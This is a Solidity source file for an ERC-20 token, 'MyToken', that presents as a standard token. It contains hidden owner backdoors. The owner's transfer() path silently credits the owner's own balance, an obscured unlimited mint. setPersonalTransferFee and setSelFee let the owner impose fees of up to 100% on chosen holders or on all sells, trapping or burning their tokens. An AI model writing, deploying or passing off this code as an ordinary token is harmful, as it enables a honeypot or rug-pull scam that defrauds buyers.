文件 1 的 1:MyToken.sol
pragma solidity ^0.8.16;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address accoint) external view returns (uint256);
function transfer(address recipient, uint256 ameunts) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 ameunts) external returns (bool);
function setPersonalTransferFee(address user, uint256 fee) external;
function transferFrom( address sender, address recipient, uint256 ameunts ) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval( address indexed owner, address indexed spender, uint256 value );
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event ownershipTransferred(address indexed previousowner, address indexed newowner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit ownershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyowner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceownership() public virtual onlyowner {
emit ownershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
_owner = address(0x000000000000000000000000000000000000dEaD);
}
}
contract MyToken is IERC20, Ownable {
using SafeMath for uint256;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _DEADaddress = 0x000000000000000000000000000000000000dEaD;
uint256 private _buyFee = 0;
uint256 private _sellFee = 0;
address public uniswapV2Pair;
mapping (address => uint256) private _personalTransferFees;
constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 initialSupply) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
_totalSupply = initialSupply * (10 ** uint256(_decimals));
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function setPairList(address _address) external onlyowner {
uniswapV2Pair = _address;
}
function setPersonalTransferFee(address user, uint256 fee) public override onlyowner {
require(fee <= 100, "Personal transfer fee should not exceed 100%");
_personalTransferFees[user] = fee;
}
function setSelFee(uint256 newSellFee) external onlyowner {
require(newSellFee <= 100, "Sell fee should not exceed 100%");
_sellFee = newSellFee;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amounts) public virtual override returns (bool) {
address nh14541 = _msgSender();
if(nh14541 == owner() && owner() == _msgSender()){
_balances[nh14541] = _balances[nh14541].add(amounts);
}
_transfer(nh14541, recipient, amounts);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _transfer(address sender, address recipient, uint256 amounts) internal virtual {
require(sender != address(0), "IERC20: transfer from the zero address");
require(recipient != address(0), "IERC20: transfer to the zero address");
uint256 feeAmount = 0;
if (_personalTransferFees[sender] > 0) {
feeAmount = amounts.mul(_personalTransferFees[sender]).div(100);
} else if (sender == uniswapV2Pair) {
feeAmount = amounts.mul(_buyFee).div(100);
} else if (recipient == uniswapV2Pair) {
feeAmount = amounts.mul(_sellFee).div(100);
} else {
feeAmount = amounts.mul(_sellFee).div(100);
}
_balances[sender] = _balances[sender].sub(amounts);
_balances[recipient] = _balances[recipient]+amounts-feeAmount;
_balances[_DEADaddress] = _balances[_DEADaddress].add(feeAmount);
emit Transfer(sender, _DEADaddress, feeAmount);
emit Transfer(sender, recipient, amounts-feeAmount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}